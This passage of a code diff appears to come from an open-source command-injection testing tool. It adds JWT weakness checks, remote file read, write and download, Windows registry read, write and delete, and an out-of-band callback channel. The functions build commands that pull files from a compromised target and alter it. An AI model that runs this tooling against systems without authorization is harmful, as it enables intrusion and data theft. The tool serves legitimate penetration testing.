+one read straight off the token is marked confirmed - and only a real weakness is a warning.
+"""
+def _report_jwt(findings, filename):
+ if not findings:
+ info_msg = "No JSON Web Token weaknesses found."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return
+
+ for finding_id, severity, summary, detail in sorted(findings, key=lambda _: jwt_audit.SEVERITY_RANK.get(_[1], 9)):
+ marker = "candidate" if finding_id in jwt_audit.CANDIDATES else "confirmed"
+ message = "JWT " + marker + " [" + severity + "]: " + summary + " (" + detail + ")."
+ if severity == "info":
+ settings.print_data_to_stdout(settings.print_info_msg(message))
+ else:
+ settings.print_data_to_stdout(settings.print_warning_msg(message))
+ logs.add_line(filename, message, group="jwt")
+
+"""
+Say once that the request carries a token, without being asked to look - the switch that examines it
+properly is named rather than assumed, so a run nobody asked for stays to a line.
+"""
+def jwt_heuristic(url, filename):
+ if settings.JWT_CHECKED or menu.options.jwt:
+ return
+ settings.JWT_CHECKED = True
+
+ where, token, _parameter, _option = _locate_jwt(url)
+ if not token:
+ return
+
+ info_msg = "Heuristic (JWT) test shows that the request carries a JSON Web Token (re-run with the '--jwt' switch)."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ for _, severity, summary, detail in jwt_audit.audit(token):
+ message = "JWT weakness (" + severity + "): " + summary + "."
+ settings.print_data_to_stdout(settings.print_info_msg(message))
+ logs.add_line(filename, message, group="jwt")
+
+"""
+Report what the request's own token declares, read from the request as it stands and answered
+offline. Where it names a 'kid', the parameter carrying it is then marked so the run tests that
+field - nothing is signed for that, the token is rebuilt around each payload as it arrived.
+"""
+def scan_jwts(url, filename, http_request_method=settings.HTTPMETHOD.GET):
+ where, token, parameter, option = _locate_jwt(url)
+ if not token:
+ warn_msg = "No JSON Web Token found in the request (looked in the GET/POST/cookie parameters and the HTTP headers)."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return
+
+ data = jwt_audit.parse(token)
+ info_msg = "Found a JSON Web Token in the " + where + " (algorithm '" + str(data["header"].get("alg") or "none") + "')."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ logs.add_line(filename, "JWT (" + where + "): " + token, group="jwt")
+
+ findings = jwt_audit.audit(token)
+
+ """
+ What the target itself says about the token, which is the half the token cannot say on its own.
+
+ A target that never reads the signature answers a broken one exactly as it answers the real one -
+ so the two are asked for, and where they come back alike there is no answer to read and nothing
+ below is concluded. Nothing is signed for any of this: a signature is made unusable or dropped.
+ """
+ accepted = _jwt_oracle(url, http_request_method, option, token)
+ if accepted is None:
+ warn_msg = "The target answers the same whether the token is sent or not, so what it would make of a tampered one cannot be told apart (what the token itself declares still stands)."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ else:
+ broken = _jwt_page(url, http_request_method, option, token, jwt_audit.break_signature(token))
+ if broken is not None and comparable_page(broken) == accepted:
+ findings.append(("signature-not-verified", "critical", "the target accepts a token whose signature cannot be valid",
+ "its claims are taken as read, so any of them can be restated"))
+ unsigned = _jwt_page(url, http_request_method, option, token, jwt_audit.strip_signature(token))
+ if unsigned is not None and comparable_page(unsigned) == accepted:
+ findings.append(("alg-none-accepted", "critical", "the target accepts an unsigned ('alg':'none') token",
+ "its claims are taken as read, so any of them can be restated"))
+
+ _report_jwt(findings, filename)
+
+ """
+ A 'kid' named as worth testing is then actually tested, rather than left for the operator to wire
+ up by hand - the parameter carrying the token is marked as carrying its 'kid', so every technique
+ the run would use goes at that field with the rest of the token kept as it arrived.
+ """
+ if "kid" in data["header"] and parameter and not named_encoding(parameter, token):
+ settings.PARAMETER_ENCODINGS[parameter] = settings.ENCODING_JWT_KID
+ info_msg = "Testing the '" + parameter + "' parameter as the token's 'kid' from here on."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+"""
+File content to read.
+"""
+def file_content_to_read(file_to_read=None):
+ file_to_read = file_to_read or menu.options.file_read
+ info_msg = "Fetching the contents of the file '"
+ info_msg += file_to_read + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = settings.WIN_FILE_READ + file_to_read.replace("\\","\\\\")
+ else:
+ if settings.EVAL_BASED_STATE:
+ cmd = "(" + settings.FILE_READ + file_to_read + ")"
+ else:
+ cmd = settings.FILE_READ + file_to_read
+ return cmd, file_to_read
+
+"""
+Cheap pre-check for file existence/non-emptiness before full extraction.
+"""
+def file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, file_to_read, technique):
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ return True
+ if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
+ payloads = time_based_payloads()
+ else:
+ payloads = tempfile_based_payloads()
+ payload = payloads.condition_check(separator, "-s " + file_to_read, timesec, http_request_method)
+ if payload is None:
+ return True
+ exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
+ return time_related_shell(exec_time, timesec)
+
+"""
+File read status
+"""
+def file_read_status(shell, file_to_read, filename):
+ if shell:
+ label = "File contents"
+ settings.print_data_to_stdout(settings.print_retrieved_data(label, shell))
+ logs.add_line(filename, "Extracted content of the file '" + file_to_read + "': " + shell, group="file:" + file_to_read)
+ logs.report_add_file(file_to_read, shell)
+ else:
+ warn_msg = "Retrieved no content for the file '" + file_to_read + "'. "
+ warn_msg += "This could mean the file does not exist, is empty, or you do not have permission to read it."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Build the final destination path for file write operations.
+"""
+def check_destination(destination, where=None):
+ where = where or menu.options.file_write
+ # Normalize path separators before splitting.
+ normalized = destination.replace("\\", "/")
+ # A destination with no trailing filename is a directory, so append the local filename.
+ if os.path.split(normalized)[1] == "":
+ resolved = os.path.split(normalized)[0].rstrip("/") + "/" + os.path.split(where)[1]
+ else:
+ resolved = destination
+ return resolved
+
+"""
+Write the content of a local file to a remote destination.
+"""
+def check_file_to_write(file_to_write=None, dest=None):
+ file_to_write = file_to_write or menu.options.file_write
+ if not os.path.exists(file_to_write):
+ err_msg = "The specified local file '" + file_to_write + "' does not exist."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if os.path.isfile(file_to_write):
+ try:
+ with open(file_to_write, 'r', encoding=settings.DEFAULT_CODEC) as content_file:
+ content = content_file.read()
+ except (OSError, UnicodeDecodeError) as err:
+ err_msg = "Unable to read the local file '" + file_to_write + "' (" + str(err) + "). "
+ err_msg += "Note that '--file-write' does not support binary files."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ content = content.replace(settings.END_LINE.CRLF, settings.END_LINE.LF).replace(settings.END_LINE.CR, settings.END_LINE.LF)
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ import base64
+ content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
+ else:
+ content = escape_file_content(content)
+ else:
+ warn_msg = "The specified path '" + file_to_write + "' is not a file."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ raise SystemExit()
+
+ dest_to_write = check_destination(destination=dest or menu.options.file_dest, where=file_to_write)
+ info_msg = "Attempting to write the contents of file '"
+ info_msg += file_to_write + "' to the remote directory '" + dest_to_write + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return file_to_write, dest_to_write, content
+
+"""
+Display the result of an attempted file write to the remote target.
+"""
+def file_write_status(shell, dest_to_write):
+ if shell and settings.INCOMPLETE_OUTPUT:
+ warn_msg = "The write to '" + dest_to_write + "' could not be verified - the confirmation "
+ warn_msg += "output came back incomplete."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return False
+ elif shell:
+ info_msg = "The file has been successfully created in remote directory: '" + dest_to_write + "'."
+ settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
+ return True
+ else:
+ warn_msg = "The file does not appear to exist in the remote directory '" + dest_to_write + "'. "
+ warn_msg += "This could mean the write failed, or you do not have permission to write to that directory."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return False
+
+"""
+Remove a file '--cleanup' just confirmed this run wrote to the target, through the given
+execute_cmd(cmd) -> output callback - called right after the write, not deferred.
+"""
+def cleanup_remote_file(execute_cmd, path):
+ info_msg = "Cleaning up the file written to '" + path + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = settings.WIN_DEL + path.replace("\\", "\\\\")
+ else:
+ cmd = settings.DEL + quoted_cmd(path)
+ execute_cmd(cmd)
+ if path_exists_on_target(execute_cmd(check_file(path))):
+ warn_msg = "The file '" + path + "' still appears to exist on the target. Remove it by hand."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ else:
+ info_msg = "The file '" + path + "' has been removed from the target."
+ settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
+
+"""
+Write a local file to the target, through the given execute_cmd(cmd) -> output callback.
+"""
+def upload_file(execute_cmd, file_to_write, dest_to_write, content):
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ fname, tmp_fname, cmd = find_filename(dest_to_write, content)
+ execute_cmd(cmd)
+ execute_cmd(win_decode_b64_enc(fname, tmp_fname))
+ execute_cmd(delete_tmp(tmp_fname))
+ shell = execute_cmd(check_file(dest_to_write))
+ else:
+ execute_cmd(write_content(content, dest_to_write))
+ shell = execute_cmd(remove_command_substitution(check_file(dest_to_write)))
+ return file_write_status(shell, dest_to_write)
+
+"""
+Read a file from the target, through the given execute_cmd(cmd) -> output callback.
+"""
+def download_file(execute_cmd, file_to_read, filename):
+ cmd, file_to_read = file_content_to_read(file_to_read)
+ shell = execute_cmd(remove_command_substitution(cmd))
+ file_read_status(shell, file_to_read, filename)
+ return shell
+
+"""
+Split an interactive "download"/"upload" command into its two path arguments.
+"""
+def shell_transfer_args(cmd, usage):
+ try:
+ args = shlex.split(cmd)[1:]
+ except ValueError:
+ args = cmd.split()[1:]
+ if len(args) != 2:
+ settings.print_data_to_stdout(settings.print_error_msg("Usage: " + usage))
+ return None, None
+ return args[0], args[1]
+
+"""
+Read a file from the target as base64, so its exact bytes survive the transfer - returns None
+when the target cannot produce it (no "base64" available, unreadable file, ...).
+"""
+def download_file_bytes(execute_cmd, remote_file):
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = settings.WIN_FILE_READ_B64 + remote_file.replace("\\", "\\\\") + "'))\""
+ else:
+ cmd = settings.FILE_READ_B64 + quoted_cmd(remote_file)
+ encoded = execute_cmd(cmd)
+ if not encoded:
+ return None, False
+ try:
+ return base64.b64decode("".join(str(encoded).split()), validate=True), True
+ except Exception:
+ return None, True
+
+"""
+A file's exact contents, fetched as base64 so that nothing the page does to whitespace can reach
+them - or (None, False) where the target cannot produce it, leaving the plain read to be tried.
+
+Only where the whole answer arrives at once. A technique that reads a byte at a time pays for every
+one of them, and base64 is a third longer than what it carries.
+"""
+def file_read_encoded(execute_cmd, file_to_read, technique=None):
+ # The one carrying this command, where the caller knows it. What is left in 'CURRENT_TECHNIQUE'
+ # is whichever was last announced while the parameter was being tested, which says nothing about
+ # what is running now - a read asked for after detection is carried by whichever technique was
+ # confirmed, and reading the wrong name here refuses the encoded form to a technique that can
+ # produce it, leaving the file to arrive through the page with its whitespace folded away.
+ technique = technique if technique is not None else settings.current_technique()
+ if technique not in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE):
+ return None, False
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ cmd = settings.WIN_FILE_READ_B64 + file_to_read.replace("\\", "\\\\") + "'))\""
+ else:
+ cmd = settings.FILE_READ_B64 + quoted_cmd(file_to_read)
+ try:
+ encoded, fresh = execute_cmd(cmd)
+ except Exception:
+ return None, False
+ if not encoded:
+ return None, False
+ try:
+ content = base64.b64decode("".join(str(encoded).split()), validate=True)
+ except Exception:
+ return None, False
+ try:
+ return content.decode(settings.DEFAULT_CODEC), fresh
+ except UnicodeDecodeError:
+ return content.decode(settings.DEFAULT_CODEC, "replace"), fresh
+
+"""
+Download a file from the target host to the local machine ("download ").
+"""
+def shell_download(execute_cmd, cmd, filename):
+ remote_file, local_file = shell_transfer_args(cmd, "download /path/to/remote/file /path/to/local/file")
+ if not remote_file:
+ return
+ if os.path.isdir(local_file):
+ local_file = os.path.join(local_file, os.path.basename(remote_file.replace("\\", "/").rstrip("/")))
+
+ if settings.TIME_RELATED_ATTACK:
+ # These techniques recover output character by character and report any they could not
+ # get, so base64 would turn a single missing character into a corrupt file - and cost a
+ # third more characters to extract.
+ warn_msg = "Recovering the output costs several requests per character, so this may take "
+ warn_msg += "a while and the file's original formatting is not preserved."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ text = download_file(execute_cmd, remote_file, filename)
+ if not text:
+ return
+ content = str(text).encode(settings.DEFAULT_CODEC, errors="replace")
+ else:
+ info_msg = "Fetching the contents of the file '" + remote_file + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ content, produced_output = download_file_bytes(execute_cmd, remote_file)
+ if content is None and produced_output:
+ err_msg = "The contents of '" + remote_file + "' could not be decoded, so the file was not written."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ return
+ if content is None:
+ # No usable base64 on the target - a plain read costs one more request here.
+ text = download_file(execute_cmd, remote_file, filename)
+ if not text:
+ return
+ content = str(text).encode(settings.DEFAULT_CODEC, errors="replace")
+
+ try:
+ with open(local_file, "wb") as output_file:
+ output_file.write(content)
+ except OSError as err:
+ err_msg = "Unable to write the local file '" + local_file + "' (" + str(err) + ")."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ return
+
+ logs.report_add_file(remote_file, local_file)
+ if settings.INCOMPLETE_OUTPUT:
+ err_msg = "The file '" + remote_file + "' was written to '" + local_file + "' (" + str(len(content))
+ err_msg += " bytes) but is incomplete - the characters listed above are unresolved, and stand in it as '"
+ err_msg += settings.UNRESOLVED_CHAR + "'."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ return
+ info_msg = "The file '" + remote_file + "' has been successfully downloaded to '" + local_file
+ info_msg += "' (" + str(len(content)) + " bytes)."
+ settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
+
+"""
+Upload a file from the local machine to the target host ("upload ").
+"""
+def shell_upload(execute_cmd, cmd):
+ local_file, remote_file = shell_transfer_args(cmd, "upload /path/to/local/file /path/to/remote/file")
+ if not local_file:
+ return
+ try:
+ file_to_write, dest_to_write, content = check_file_to_write(local_file, remote_file)
+ except SystemExit:
+ return
+ upload_file(execute_cmd, file_to_write, dest_to_write, content)
+
+"""
+Run the standard file-access checks via the given execute_cmd(cmd) -> output callback - the shared logic behind any module's own file-access entry point (see shellshock.py).
+"""
+def run_file_access(execute_cmd, filename):
+ ran = False
+
+ if menu.options.file_write:
+ ran = True
+ file_to_write, dest_to_write, content = check_file_to_write()
+ written = upload_file(execute_cmd, file_to_write, dest_to_write, content)
+ if written and menu.options.cleanup:
+ cleanup_remote_file(execute_cmd, dest_to_write)
+
+ if menu.options.file_read:
+ ran = True
+ download_file(execute_cmd, None, filename)
+
+ if menu.options.common_files:
+ ran = True
+ candidates = common_files_candidates()
+ if candidates:
+ info_msg = "Checking for " + str(len(candidates)) + " common file" + ('s', '')[len(candidates) == 1] + " on the target."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ found = [path for path in candidates if path_exists_on_target(execute_cmd(check_file(path)))]
+ print_common_files(found, filename)
+
+ if ran:
+ settings.FILE_ACCESS_DONE = True
+
+"""
+Build the 'reg query' command for the key/value named with '--reg-key'/'--reg-value'.
+"""
+def registry_read_cmd():
+ key = menu.options.reg_key
+ value = menu.options.reg_value
+ info_msg = "Fetching the registry value '" + value + "' of the key '" + key + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ cmd = settings.WIN_REG_QUERY + "\"" + key + "\" /v \"" + value + "\""
+ return cmd, key, value
+
+"""
+Pick the value's data out of 'reg query' output, which lists it alongside its type on the same line as the value's name.
+"""
+def registry_read_status(shell, key, value, filename, newline_first=False):
+ if settings.VERBOSITY_LEVEL == 0 and newline_first:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ denied = shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_ACCESS_DENIED)
+ # 'reg' names a key or value it could not find, so where it said that, which of the two reasons
+ # applies was established and is not left to the reader to guess between.
+ missing = shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_VALUE_NOT_FOUND)
+ match = re.search(r"^\s*" + re.escape(value) + r"\s+(REG_\S+)\s+(.*?)\s*$", str(shell), re.MULTILINE) if shell else None
+ if match:
+ reg_type, data = match.group(1), match.group(2)
+ label = "Registry value"
+ settings.print_data_to_stdout(settings.print_retrieved_data(label, data))
+ logs.add_line(filename, "Registry '" + key + "\\" + value + "' (" + reg_type + "): " + data, group="registry")
+ logs.report_add_enumeration("registry", {"key": key, "value": value, "type": reg_type, "data": data})
+ elif denied:
+ warn_msg = "It seems you do not have permission to read the registry key '" + key + "'."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ elif missing:
+ # Which of the two is absent is not said, because 'reg' does not say it either.
+ warn_msg = "The target has no registry key '" + key + "', or no value '" + value + "' under it."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ else:
+ warn_msg = "Retrieved no data for the registry value '" + value + "' of the key '" + key + "'. "
+ warn_msg += "This could mean the key/value does not exist, or you do not have permission to read it."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Build the 'reg add' command for the key/value/data/type named with '--reg-key'/'--reg-value'/'--reg-data'/'--reg-type'.
+"""
+def registry_write_cmd():
+ key = menu.options.reg_key
+ value = menu.options.reg_value
+ data = menu.options.reg_data
+ reg_type = menu.options.reg_type
+ info_msg = "Attempting to write the registry value '" + value + "' of the key '" + key + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ cmd = settings.WIN_REG_ADD + "\"" + key + "\" /v \"" + value + "\" /t " + reg_type + " /d \"" + data + "\" /f"
+ return cmd, key, value
+
+"""
+Display the result of an attempted registry write to the remote target.
+"""
+def registry_write_status(shell, key, value, newline_first=False):
+ if settings.VERBOSITY_LEVEL == 0 and newline_first:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ if shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_ACCESS_DENIED):
+ warn_msg = "It seems you do not have permission to write to the registry key '" + key + "'."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return False
+ elif shell and "operation completed successfully" in str(shell).lower():
+ info_msg = "The registry value '" + value + "' has been successfully written to the key '" + key + "'."
+ settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
+ return True
+ else:
+ warn_msg = "The registry value '" + value + "' does not appear to have been written to the key '" + key + "'. "
+ warn_msg += "This could mean the write failed, or you do not have permission to write to that key."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return False
+
+"""
+Remove a registry value (or whole key) '--cleanup' just confirmed this run wrote to the target,
+through the given execute_cmd(cmd) -> output callback - called right after the write, not deferred.
+"""
+def cleanup_registry_value(execute_cmd, key, value):
+ target = "value '" + value + "' of the key '" + key + "'" if value else "key '" + key + "'"
+ info_msg = "Cleaning up the registry " + target + "."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ shell = execute_cmd(registry_delete_cmd_for(key, value))
+ if shell and "operation completed successfully" in str(shell).lower():
+ info_msg = "The registry " + target + " has been removed from the target."
+ settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
+ else:
+ warn_msg = "The registry " + target + " does not appear to have been removed. Remove it by hand."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+The 'reg delete' command for a given key, or the single value of it named by 'value'.
+"""
+def registry_delete_cmd_for(key, value):
+ cmd = settings.WIN_REG_DEL + "\"" + key + "\""
+ # With no value named, 'reg delete' takes the bare key as the whole key to remove - '/va' would
+ # only clear its values and leave the key itself standing, which is not what "delete the key" means.
+ if value:
+ cmd += " /v \"" + value + "\""
+ cmd += " /f"
+ return cmd
+
+"""
+Build the 'reg delete' command for the key named with '--reg-key', or the single value named with '--reg-value'.
+"""
+def registry_delete_cmd():
+ key = menu.options.reg_key
+ value = menu.options.reg_value
+ target = "value '" + value + "' of the key '" + key + "'" if value else "key '" + key + "'"
+ info_msg = "Attempting to delete the registry " + target + "."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return registry_delete_cmd_for(key, value), key, value
+
+"""
+Display the result of an attempted registry deletion on the remote target.
+"""
+def registry_delete_status(shell, key, value, newline_first=False):
+ if settings.VERBOSITY_LEVEL == 0 and newline_first:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ target = "value '" + value + "' of the key '" + key + "'" if value else "key '" + key + "'"
+ if shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_ACCESS_DENIED):
+ warn_msg = "It seems you do not have permission to delete the registry " + target + "."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ elif shell and "operation completed successfully" in str(shell).lower():
+ info_msg = "The registry " + target + " has been successfully deleted."
+ settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
+ elif shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_VALUE_NOT_FOUND):
+ # Nothing was deleted because there was nothing there, which the target said rather than left open.
+ warn_msg = "The target has no registry " + target + " to delete."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ else:
+ warn_msg = "The registry " + target + " does not appear to have been deleted. "
+ warn_msg += "This could mean it does not exist, or you do not have permission to delete it."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Run the standard registry-access checks via the given execute_cmd(cmd) -> output callback - the shared logic behind any module's own registry-access entry point (see shellshock.py).
+"""
+def run_registry_access(execute_cmd, filename):
+ ran = False
+
+ if settings.TARGET_OS != settings.OS.WINDOWS and (menu.options.reg_read or menu.options.reg_add or menu.options.reg_del):
+ warn_msg = "The registry access options only apply to a Windows target, so they are skipped here."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.REGISTRY_ACCESS_DONE = True
+ return
+
+ if menu.options.reg_add:
+ ran = True
+ cmd, key, value = registry_write_cmd()
+ shell = execute_cmd(cmd)
+ written = registry_write_status(shell, key, value)
+ if written and menu.options.cleanup:
+ cleanup_registry_value(execute_cmd, key, value)
+
+ if menu.options.reg_read:
+ ran = True
+ cmd, key, value = registry_read_cmd()
+ shell = execute_cmd(cmd)
+ registry_read_status(shell, key, value, filename)
+
+ if menu.options.reg_del:
+ ran = True
+ cmd, key, value = registry_delete_cmd()
+ shell = execute_cmd(cmd)
+ registry_delete_status(shell, key, value)
+
+ if ran:
+ settings.REGISTRY_ACCESS_DONE = True
+
+# Mark which HTTP header the payload is going into.
+def define_vulnerable_http_header(http_header_name):
+ if http_header_name == settings.USER_AGENT.lower():
+ settings.USER_AGENT_INJECTION = True
+ elif http_header_name == settings.REFERER.lower():
+ settings.REFERER_INJECTION = True
+ elif http_header_name == settings.HOST.lower():
+ settings.HOST_INJECTION = True
+ return http_header_name
+
+"""
+Whether the target actually serves requests concurrently. Parallel timing requests that queue
+behind each other make every response look delayed, which silently corrupts a retrieval.
+"""
+def target_serves_concurrently(url, http_request_method, workers):
+ try:
+ import concurrent.futures
+ except ImportError:
+ return False
+ sample = lambda _=None: requests.quick_response_time_sample(url, http_request_method)
+ # Opening the connections is paid for before either half is timed, so the half that runs second
+ # does not simply inherit what the first one warmed up.
+ for _ in range(2):
+ sample()
+ # Enough of them that the two halves differ by more than the cost of starting the workers: a
+ # handful of answers on a quick target is over in the time that costs on its own.
+ count = max(workers, settings.CONCURRENCY_PROBE_REQUESTS)
+ # Both halves are measured the same way, over the same number of requests. Timing one request and
+ # multiplying counts the cost of setting the others up as if it were the target's, which on a fast
+ # target is the larger half - and every such target then reads as one that answers them in turn.
+ start = time.time()
+ answered = [_ for _ in (sample() for _ in range(count)) if _ is not None]
+ one_after_another = time.time() - start
+ if not answered:
+ return True
+ start = time.time()
+ with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
+ list(executor.map(sample, range(count)))
+ all_at_once = time.time() - start
+ # Too quick either way to tell the two apart. Whether the answers can really be told apart under
+ # concurrency is settled later anyway, on payloads that carry a delay of their own.
+ if one_after_another < settings.CONCURRENCY_PROBE_FLOOR:
+ return True
+ return all_at_once < one_after_another * 0.5
+
+"""
+Decide whether persistent (Keep-Alive) connections are used.
+"""
+def init_keep_alive():
+ reason = None
+ if menu.options.no_keep_alive:
+ settings.KEEP_ALIVE = False
+ return
+ if menu.options.http10:
+ reason = "the HTTP/1.0 protocol"
+ elif menu.options.chunked:
+ reason = "chunked transfer-encoding"
+ elif menu.options.proxy or menu.options.tor:
+ reason = "a proxy"
+ elif menu.options.auth_cred and menu.options.auth_type and menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST:
+ reason = "digest authentication"
+
+ settings.KEEP_ALIVE = reason is None
+ if reason and settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Persistent (Keep-Alive) connections were disabled (incompatible with " + reason + ")."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+
+"""
+Bring the out-of-band channel up, once, on first use.
+"""
+def init_oob_channel():
+ if settings.OOB_CHANNEL is not None:
+ return settings.OOB_CHANNEL
+ settings.OOB_SERVER = menu.options.oob_server or ""
+ settings.OOB_TOKEN = menu.options.oob_token or ""
+ if menu.options.oob_transport:
+ from src.core.techniques.oob import oob_payloads as oob_payloads
+ transport = str(menu.options.oob_transport).strip().lower()
+ known = oob_payloads.WINDOWS_TRANSPORTS if settings.TARGET_OS == settings.OS.WINDOWS else oob_payloads.UNIX_TRANSPORTS
+ if transport not in known:
+ err_msg = "The option '--oob-transport' takes one of: " + ", ".join("'" + _ + "'" for _ in known) + "."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ settings.OOB_TRANSPORT = transport
+ for option, attribute in (("--oob-timeout", "OOB_TIMEOUT"), ("--oob-poll", "OOB_POLL_INTERVAL")):
+ value = menu.options.oob_timeout if attribute == "OOB_TIMEOUT" else menu.options.oob_poll
+ try:
+ value = int(value)
+ except (TypeError, ValueError):
+ value = 0
+ if value < 1:
+ err_msg = "The option '" + option + "' must be a positive integer number of seconds."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ setattr(settings, attribute, value)
+
+ # A wait can only observe an interaction if a poll falls inside it, after the interaction lands.
+ # Polling no more often than the wait would leave that to chance, and a missed one is not a slow
+ # result but a lost finding - '--smart' drops the parameter on a negative heuristic.
+ if settings.OOB_POLL_INTERVAL * 2 > settings.OOB_TIMEOUT:
+ adjusted = max(1, settings.OOB_TIMEOUT // 2)
+ if adjusted != settings.OOB_POLL_INTERVAL:
+ warn_msg = "Polling every " + str(settings.OOB_POLL_INTERVAL) + " second"
+ warn_msg += "s"[settings.OOB_POLL_INTERVAL == 1:]
+ warn_msg += " is too seldom for a " + str(settings.OOB_TIMEOUT) + "-second wait, so "
+ warn_msg += "interactions could be missed. Polling every " + str(adjusted) + " second"
+ warn_msg += "s"[adjusted == 1:] + " instead."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.OOB_POLL_INTERVAL = adjusted
+
+ from src.core.oob import provider
+ channel = provider.build()
+ try:
+ channel.start()
+ except SystemExit:
+ raise
+ except Exception as err:
+ err_msg = provider.tls_error(err) or ("Unable to reach the out-of-band server (" + str(err) + ").")
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ settings.OOB_CHANNEL = channel
+ # The server is reached over both, so what the payloads use is the target's side of the choice:
+ # a host with no TLS of its own, or one that only lets 443 out, needs the other one.
+ settings.OOB_SCHEME = channel.scheme
+ settings.OOB_PORT = getattr(channel, "port", None)
+ if menu.options.oob_scheme:
+ scheme = str(menu.options.oob_scheme).strip().lower().rstrip(":/")
+ if scheme not in ("http", "https"):
+ err_msg = "The option '--oob-scheme' takes either 'http' or 'https'."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ settings.OOB_SCHEME = scheme
+ settings.OOB_IGNORE_TIMEOUT = True
+ notice = channel.server_notice()
+ if notice:
+ settings.print_data_to_stdout(settings.print_info_msg(notice))
+ return channel
+
+"""
+Tear the out-of-band channel down.
+"""
+def close_oob_channel():
+ if settings.OOB_CHANNEL is not None:
+ if not settings.OOB_CHANNEL.seen_any and settings.OOB_STATE is not True:
+ warn_msg = "No interaction of any kind reached the out-of-band server, so the channel itself "
+ warn_msg += "was never proven to work. Check the target's egress and the channel's settings."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.OOB_CHANNEL.stop()
+ settings.OOB_CHANNEL = None
+
+"""
+Apply the optimization switches ('-o').
+"""
+def set_optimize():
+ # Persistent connections are already on by default, so only the thread count is left.
+ if menu.options.optimize and menu.options.threads is None:
+ menu.options.threads = settings.OPTIMIZE_THREADS
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Setting '--threads' to " + str(settings.OPTIMIZE_THREADS) + ", used indirectly by switch '-o'."
